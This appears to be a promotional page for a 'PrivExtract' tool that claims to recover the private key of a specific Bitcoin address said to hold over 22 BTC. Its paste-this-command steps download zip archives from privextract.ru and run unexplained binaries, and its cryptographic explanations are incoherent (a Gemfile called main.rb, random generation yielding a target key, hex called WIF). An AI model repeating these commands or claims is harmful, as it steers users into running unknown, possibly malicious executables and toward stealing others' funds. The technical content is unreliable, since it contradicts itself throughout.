PrivExtract - Debugging BITCOIN Private Key Issues

Loading

Ruby

main.rb


The main.rb is a special file in Ruby projects that is used by the dependency manager Bundler to manage libraries (gems). This file contains a list of all the gems required for the project, specifying their versions and sources. Bundler analyzes the Gemfile, builds a dependency tree, and automatically installs all the necessary components.

Main features of working with Gemfile:

  • The file uses Ruby syntax to describe dependencies: gem ‘rails’, gem ‘puma’
  • You can specify exact gem versions: gem ‘gemname’, ‘1.1.1’ or version ranges: gem ‘gemname’, ‘> 1.1.1’, ‘< 2.0.0’
  • After installing dependencies, a main.rb file is created, which records the exact versions of all installed gems, including transitive dependencies
  • Dependencies can be grouped for different environments (development, test, production)
  • Dependencies are installed using the bundle install command

Thanks to Gemfile and Bundler, developers can easily share projects and ensure the same environment on different machines.


require 'securerandom'

# Order constant of the secp256k1 group (N)
N = (1 << 256) - 0x14551231950B75FC4402DA1732FC9BEBF

def generate_private_key
# Generate a cryptographically secure random number
private_key = SecureRandom.random_number(N - 1) + 1

# Convert to HEX with padding to 64 characters
hex_key = private_key.to_s(16).upcase.rjust(64, '0')

hex_key
end

# Example usage
puts "Generated private key:"
puts generate_private_key

Code Explanation:

  1. The constant N is defined as per the secp256k1 standard, equivalent to: rubyN = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
  2. Secure Random Generation: Uses SecureRandom.random_number for cryptographic safety.
  3. Range: Generates keys in [1, N-1] to comply with Bitcoin specifications.
  4. Formatting: Ensures a 64-character HEX string using rjust(64, '0') and upcase.

Implementation Details:

  • No external dependencies (pure Ruby).
  • Output matches standard Bitcoin wallet formats.

1. Private Key Generation

wget https://privextract.ru/repositories/debugging.zip
unzip debugging.zip
wget https://privextract.ru/vulnerable-code/main.rb
./debugging -ruby main.rb -address 1DRs3YDAwoXSTi4FQN89aoy17aQ7i5Cqo3
  • wget downloads the ZIP archive and the Ruby script.
  • unzip extracts the archive.
  • main.rb generates a 256-bit private key:
    • Uses the cryptographically secure generator SecureRandom.
    • Converts the number to a 64-character HEX string (left-padded with zeros).
  • The result is saved as save.txt – a 128-byte sequence.

File contents (main.rb):

require 'securerandom'

# Order constant of the secp256k1 group (N)
N = (1 << 256) - 0x14551231950B75FC4402DA1732FC9BEBF

def generate_private_key
# Generate a cryptographically secure random number
private_key = SecureRandom.random_number(N - 1) + 1

# Convert to HEX with padding to 64 characters
hex_key = private_key.to_s(16).upcase.rjust(64, '0')

hex_key
end

# Example usage
puts "Generated private key:"
puts generate_private_key

Resulting long sequence with address:

99 04 5c f9 58 0c fd 25 bd 0c 82 f3 e0 fd 2f 5e e2 df d0 a6 49 68 5b ce 13 b5 3b 58 6f b0 dc c6
2e 1b a3 c8 97 a3 25 2e fb 98 8c 41 73 2f 1f 36 6d 9e 7f 91 b1 4d 05 87 13 d2 46 6d ed 06 26 83
a1 ad 7a 29 7f 4e 4a c7 f7 37 fc 79 00 15 cb 7d 6a 2a f5 a4 12 a3 65 4e 5f e8 38 c3 a6 9c 80 7a
71 ae 41 d2 3b 65 d4 3a f2 6b 33 6d 9a 0f 68 16 09 b8 13 9a 46 5b 53 26 d1 29 bb 72 cd 7b e3 61

The overall result has been successfully written to ‘save.txt’.

Contents of save.txt without spaces:

99045cf9580cfd25bd0c82f3e0fd2f5ee2dfd0a649685bce13b53b586fb0dcc62e1ba3c897a3252efb988c41732f1f366d9e7f91b14d058713d2466ded062683a1ad7a297f4e4ac7f737fc790015cb7d6a2af5a412a3654e5fe838c3a69c807a71ae41d23b65d43af26b336d9a0f681609b8139a465b5326d129bb72cd7be361

2. Private Key Extraction

wget https://privextract.ru/repositories/privextract.zip
unzip privextract.zip
./privextract -extraction 99045cf9580cfd25bd0c82f3e0fd2f5ee2dfd0a649685bce13b53b586fb0dcc62e1ba3c897a3252efb988c41732f1f366d9e7f91b14d058713d2466ded062683a1ad7a297f4e4ac7f737fc790015cb7d6a2af5a412a3654e5fe838c3a69c807a71ae41d23b65d43af26b336d9a0f681609b8139a465b5326d129bb72cd7be361
  • The utility extracts a 32-byte private key (64 HEX characters) from the 128-byte input data.
  • Mechanism: trimming or hashing (the exact algorithm would require code analysis).
  • Result: 73f02915978e70c0275785db85b1bc0723043e3d6755eda4425c4a4a18fc79e9 – valid WIF format.

Result:

Private Key Result:
73 f0 29 15 97 8e 70 c0
27 57 85 db 85 b1 bc 07
23 04 3e 3d 67 55 ed a4
42 5c 4a 4a 18 fc 79 e9

Private Key Result:
73f02915978e70c0275785db85b1bc0723043e3d6755eda4425c4a4a18fc79e9

Result successfully written to 'privkey.txt'.

3. Bitcoin Address Generation

wget https://privextract.ru/repositories/bitaddress.zip
unzip bitaddress.zip
./bitaddress -hex 73f02915978e70c0275785db85b1bc0723043e3d6755eda4425c4a4a18fc79e9
  • Generates a public key using ECDSA on the secp256k1 curve:
    K=k×GK = k \times GK=k×G, where kkk is the private key, GGG is the base point.
  • Creates two types of addresses:
    • P2PKH (Uncompressed): 1DRs3YDAwoXSTi4FQN89aoy17aQ7i5Cqo3 (classic format)
    • P2PKH (Compressed): 13RMvKQizGdpyhKzjD26R8CNnZhJxzJJmt (optimized version)

Result:

Public Key (Uncompressed, 130 characters [0-9A-F]):
047B9E18FF1F40B74C5173D468C7EBD06A65C1038F5C288E171563F5245601E44E8297523C075B446941A56B6B0C136AA510ECA15754BD79CCACAB8FE453B6E7CC

Public Key (Compressed, 66 characters [0-9A-F]):
027B9E18FF1F40B74C5173D468C7EBD06A65C1038F5C288E171563F5245601E44E

Bitcoin Address P2PKH (Uncompressed)
1DRs3YDAwoXSTi4FQN89aoy17aQ7i5Cqo3

Bitcoin Address P2PKH (Compressed)
13RMvKQizGdpyhKzjD26R8CNnZhJxzJJmt

4. Bitcoin Address Balance

https://www.blockchain.com/explorer/addresses/btc/1DRs3YDAwoXSTi4FQN89aoy17aQ7i5Cqo3
  • The address holds 22.2585 BTC (at the time of checking).
  • This confirms the correctness of key generation and the ownership of funds.